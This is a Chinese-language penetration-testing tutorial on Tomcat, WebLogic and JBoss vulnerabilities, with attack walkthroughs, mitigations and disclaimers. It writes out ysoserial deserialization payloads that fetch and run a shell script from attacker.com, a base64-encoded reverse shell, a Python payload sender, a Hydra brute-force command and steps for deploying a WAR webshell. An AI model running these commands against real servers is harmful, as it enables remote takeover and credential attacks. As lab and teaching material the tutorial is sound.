中间件安全攻防全解:从Tomcat到Weblogic反序列化漏洞介绍
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
文章目录
- 什么是中间件
- 中间件漏洞
- (1) Tomcat
- (2) Weblogic
- (3) JBoss漏洞
什么是中间件
中间件(Middleware)是指一种软件组件,其作用是在不同的系统、应用程序或服务之间传递数据和消息。它通常位于应用程序和操作系统之间,负责在不同的应用程序之间传递数据、协调不同应用程序之间的通信,以及处理网络请求等。
中间件就像计算机系统的"万能管家",在操作系统和应用软件之间架起桥梁,既当翻译协调沟通,又跑腿传递数据,还包办各种杂务,让开发者能专注核心业务。
中间件通常是一种插件式架构,允许开发人员将其集成到现有的应用程序中。它可以提供诸如身份验证、授权、缓存、负载均衡、日志记录、安全性等功能,以简化应用程序的开发和部署过程。
从广义上讲,中间件涵盖了从 Web 服务器,到身份验证系统,再到消息传递工具等一切内容。
从另个一角度来讲,中间件是:jboss、weblogic、tomcat、apache等。中间件的使用可以提高应用程序的可扩展性、可靠性、可维护性和安全性。
中间件漏洞
中间件漏洞是指在中间件软件中存在的安全漏洞,这些漏洞可能被攻击者利用来对系统进行攻击和渗透。中间件漏洞通常包括以下几种:
- 代码注入漏洞:攻击者可以通过向中间件发送恶意代码,从而执行任意代码或获取敏感数据。
- 跨站脚本漏洞:攻击者可以通过在中间件输出的网页中插入恶意脚本,来窃取用户信息或进行其他恶意行为。
- SQL注入漏洞:攻击者可以通过在中间件输入的SQL查询中插入恶意代码,从而执行任意SQL查询或获取敏感数据。
- 认证和授权漏洞:攻击者可以利用中间件的认证和授权机制的漏洞,来绕过访问控制,获取系统权限。
- 文件包含漏洞:攻击者可以利用中间件的文件包含功能,来包含恶意文件并执行任意代码。
为了保护中间件的安全,开发人员需要采取一系列安全措施,如开发安全代码、定期更新中间件、限
制访问权限、配置防火墙等。此外,使用漏洞扫描工具可以帮助开发人员及时发现和修复中间件漏
洞
(1) Tomcat
Tomcat是一个开源的Java Servlet容器,由Apache软件基金会开发。它可以作为独立的Web服务器或应用服务器,也可以作为其他Web服务器的插件来使用,如Apache HTTP Server。Tomcat支持Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和WebSocket等Java技术,并提供了许多企业级特性,如集群、安全性和可扩展性。
A. Tomcat密码爆破到WAR包部署
- 部署WAR包
WAR(Web Application Archive)是一种Web应用程序的打包格式,用于将Web应用程序打包成一个 单独的文件,便于部署和分发。WAR文件实际上是一种JAR(Java Archive)文件,其中包含了Web应用程序的全部内容,包括Java类、HTML、JSP、Servlet、XML配置文件、静态资源(如图片、CSS、JavaScript文件等)等。WAR文件还可以包含一些特定于Web应用程序的配置文件,例如 web.xml、context.xml等。
WAR文件通常是通过Web服务器部署的,例如Tomcat、Jetty等。在部署Web应用程序时,Web服务器会将WAR文件解压缩并将其部署到指定的目录中,然后启动Web应用程序。通过将Web应用程序打包成WAR文件,可以方便地将应用程序部署到不同的Web服务器中,也可以方便地将应用程序分发给其他人使用。
制作war包
将jsp马添加到压缩文件,然后将压缩文件的zip后缀修改为war
webshell路径: ip:port/war包名字/文件名
ip:port/war包名字/文件名
(2) Weblogic
WebLogic Server 是美国甲骨文( Oracle )公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于JavaEE 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web 应用、网络应用和数据库应用的Java 应用服务器。将Java 的动态功能和Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Weblogic特征
默认端口:7001
Web界面:Error 404--Not Found
控制后台:http://ip:7001/console
Weblogic历史漏洞
漏洞主要影响版本:
10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
12.2.1.3
14.1.1.0
WebLogic反序列化漏洞详解
一句话概括:
WebLogic反序列化漏洞是指攻击者通过构造恶意的序列化数据,利用WebLogic服务器对Java反序列化的不当处理,实现远程代码执行(RCE),从而控制目标服务器。
1. 漏洞原理
(1) 什么是序列化与反序列化?
- 序列化(Serialization):将Java对象转换为字节流(便于存储或传输)。
- 反序列化(Deserialization):将字节流还原为Java对象。
(2) 漏洞成因
WebLogic在处理某些Java对象(如T3
、IIOP
协议传输的数据)时,未严格检查反序列化数据的安全性,导致攻击者可以构造恶意数据,触发服务器执行任意代码。
关键点:
- T3协议:WebLogic默认使用的RMI通信协议,传输数据时自动反序列化。
- Java反序列化漏洞:攻击者利用
ObjectInputStream
的反序列化机制,加载恶意类(如InvokerTransformer
、CommonsCollections
链)。
2. 常见WebLogic反序列化漏洞
漏洞编号 | 影响版本 | 利用方式 | 核心利用链 |
---|---|---|---|
CVE-2015-4852 | WebLogic 10.3.6.0, 12.1.2.0 | T3协议反序列化 | CommonsCollections1 |
CVE-2016-0638 | WebLogic 10.3.6.0, 12.1.3.0 | T3协议反序列化 | CommonsCollections3 |
CVE-2016-3510 | WebLogic 10.3.6.0, 12.1.3.0 | IIOP协议反序列化 | |
CVE-2017-3248 | WebLogic 10.3.6.0, 12.1.3.0 | JRMP反序列化 | |
CVE-2018-2628 | WebLogic 10.3.6.0, 12.1.3.0 | T3协议反序列化 | |
CVE-2019-2725 | WebLogic 10.3.6.0, 12.1.3.0 | wls9-async组件 | |
CVE-2020-2555 | WebLogic 12.2.1.3.0 | IIOP协议反序列化 |
3. 漏洞利用方式
(1) 攻击流程
- 探测目标:扫描WebLogic默认端口(7001)是否开放。
- 构造Payload:使用
ysoserial
生成恶意序列化数据(如CommonsCollections
链)。 - 发送Payload:通过T3/IIOP协议发送恶意数据,触发反序列化漏洞。
- 执行命令:成功RCE后,执行
whoami
、curl
等命令,获取Shell。
(2) 常用工具
- ysoserial:生成反序列化Payload(
java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash"
)。 - WebLogicScan:自动化漏洞检测(
python weblogicScan.py -u http://target:7001
)。 - BurpSuite:手动构造T3协议请求,发送Payload。
4. 漏洞复现(以CVE-2018-2628为例)
步骤1:环境搭建
docker pull vulhub/weblogic:10.3.6.0
docker run -d -p 7001:7001 vulhub/weblogic:10.3.6.0
步骤2:生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
步骤3:发送Payload
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target_ip", 7001))
with open("payload.bin", "rb") as f:s.send(f.read())
s.close()
步骤4:获取反弹Shell
nc -lvnp 4444
5. 漏洞防御
(1) 临时缓解
- 禁用T3协议(适用于非集群环境):
# 修改WebLogic配置文件 <protocol>T3</protocol> <enabled>false</enabled>
- 升级补丁:Oracle官方已发布修复版本(如10.3.6.0.210315)。
(2) 长期防护
- WAF拦截:过滤T3/IIOP协议中的恶意Payload。
- 最小权限运行:WebLogic服务使用低权限账户(非
root
)。 - 网络隔离:限制WebLogic端口(7001)仅允许内网访问。
6. 总结
- 漏洞本质:WebLogic对T3/IIOP协议的反序列化未做安全校验。
- 利用方式:通过
ysoserial
构造恶意Payload,触发RCE。 - 防御关键:禁用T3协议、升级补丁、网络隔离。
(3) JBoss漏洞
JBoss漏洞详解
一句话概括:
JBoss(现称 WildFly)是一款基于Java EE的开源应用服务器,由于默认配置不安全、反序列化漏洞等问题,常被黑客攻击,导致远程代码执行(RCE)、敏感信息泄露等风险。
1. JBoss常见漏洞类型
漏洞类型 | 漏洞编号 | 影响版本 | 利用方式 |
---|---|---|---|
JMX Console未授权访问 | CVE-2007-1036 | JBoss 4.x | 直接访问/jmx-console 部署恶意WAR包 |
反序列化漏洞 | CVE-2015-7501 | JBoss 5.x/6.x | 利用JMXInvokerServlet 执行任意代码 |
EJBInvokerServlet漏洞 | CVE-2013-4810 | JBoss 4.x/5.x | 通过EJB接口上传恶意代码 |
JMS反序列化漏洞 | CVE-2017-7504 | JBoss 4.x | 利用JBossMQ 组件执行命令 |
管理后台弱口令 | - | 所有版本 | 爆破admin/admin 等默认账号 |
2. 漏洞利用实战
(1) JMX Console未授权访问(CVE-2007-1036)
漏洞原理:
JBoss的/jmx-console
页面默认无权限控制,攻击者可直接访问并部署恶意WAR包,获取服务器控制权。
攻击步骤:
- 探测目标:访问
http://target:8080/jmx-console
,确认是否未授权访问。 - 制作WAR木马:
jar -cvf shell.war shell.jsp # 将JSP木马打包成WAR
- 远程部署:
- 进入
jmx-console
→ 搜索flavor=URL,type=DeploymentScanner
- 在
void addURL()
方法中填入WAR包地址(如http://attacker.com/shell.war
) - 点击
Invoke
部署,访问http://target:8080/shell/shell.jsp
获取WebShell。
- 进入
(2) JBoss反序列化漏洞(CVE-2015-7501)
漏洞原理:
JMXInvokerServlet
未对反序列化数据做安全检查,攻击者可构造恶意Java对象,触发RCE。
攻击步骤:
- 生成Payload(使用
ysoserial
):java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
- 发送Payload:
curl -X POST --data-binary @payload.bin http://target:8080/invoker/JMXInvokerServlet
- 获取反弹Shell:
nc -lvnp 4444
(3) JBoss管理后台弱口令攻击
漏洞原理:
JBoss默认账号admin/admin
、admin/password
等易被爆破,登录后可上传WAR木马。
攻击步骤:
- 爆破密码(使用
Hydra
):hydra -l admin -P passlist.txt target http-form-post "/jboss-console/login.do:j_username=^USER^&j_password=^PASS^&login=Login:Invalid"
- 登录后台 → 进入
Web Application (WAR)
→ 上传shell.war
。 - 访问
http://target:8080/shell/shell.jsp
执行命令。
3. 漏洞防御方案
(1) 临时修复
- 禁用JMX Console:
<!-- 修改$JBOSS_HOME/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml --> <security-domain>java:/jaas/jmx-console</security-domain>
- 删除危险组件:
rm -f $JBOSS_HOME/server/default/deploy/http-invoker.sar
- 修改默认密码:
# 修改$JBOSS_HOME/server/default/conf/props/jmx-console-users.properties admin=NewStrongPassword!
(2) 长期防护
- 升级到WildFly:JBoss已更名为WildFly,建议迁移至最新版本。
- 网络隔离:限制JBoss端口(8080、9990)仅内网访问。
- WAF防护:拦截恶意反序列化数据(如
java.rmi.server
关键字)。
4. 总结
- 高危漏洞:JBoss因默认配置松散,易被未授权访问/反序列化攻击。
- 利用方式:通过
jmx-console
部署WAR、JMXInvokerServlet
反序列化、弱口令爆破。 - 防御关键:禁用危险接口、升级版本、强密码策略。
⚠️ 免责声明:本文仅用于安全研究,禁止非法渗透测试!
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。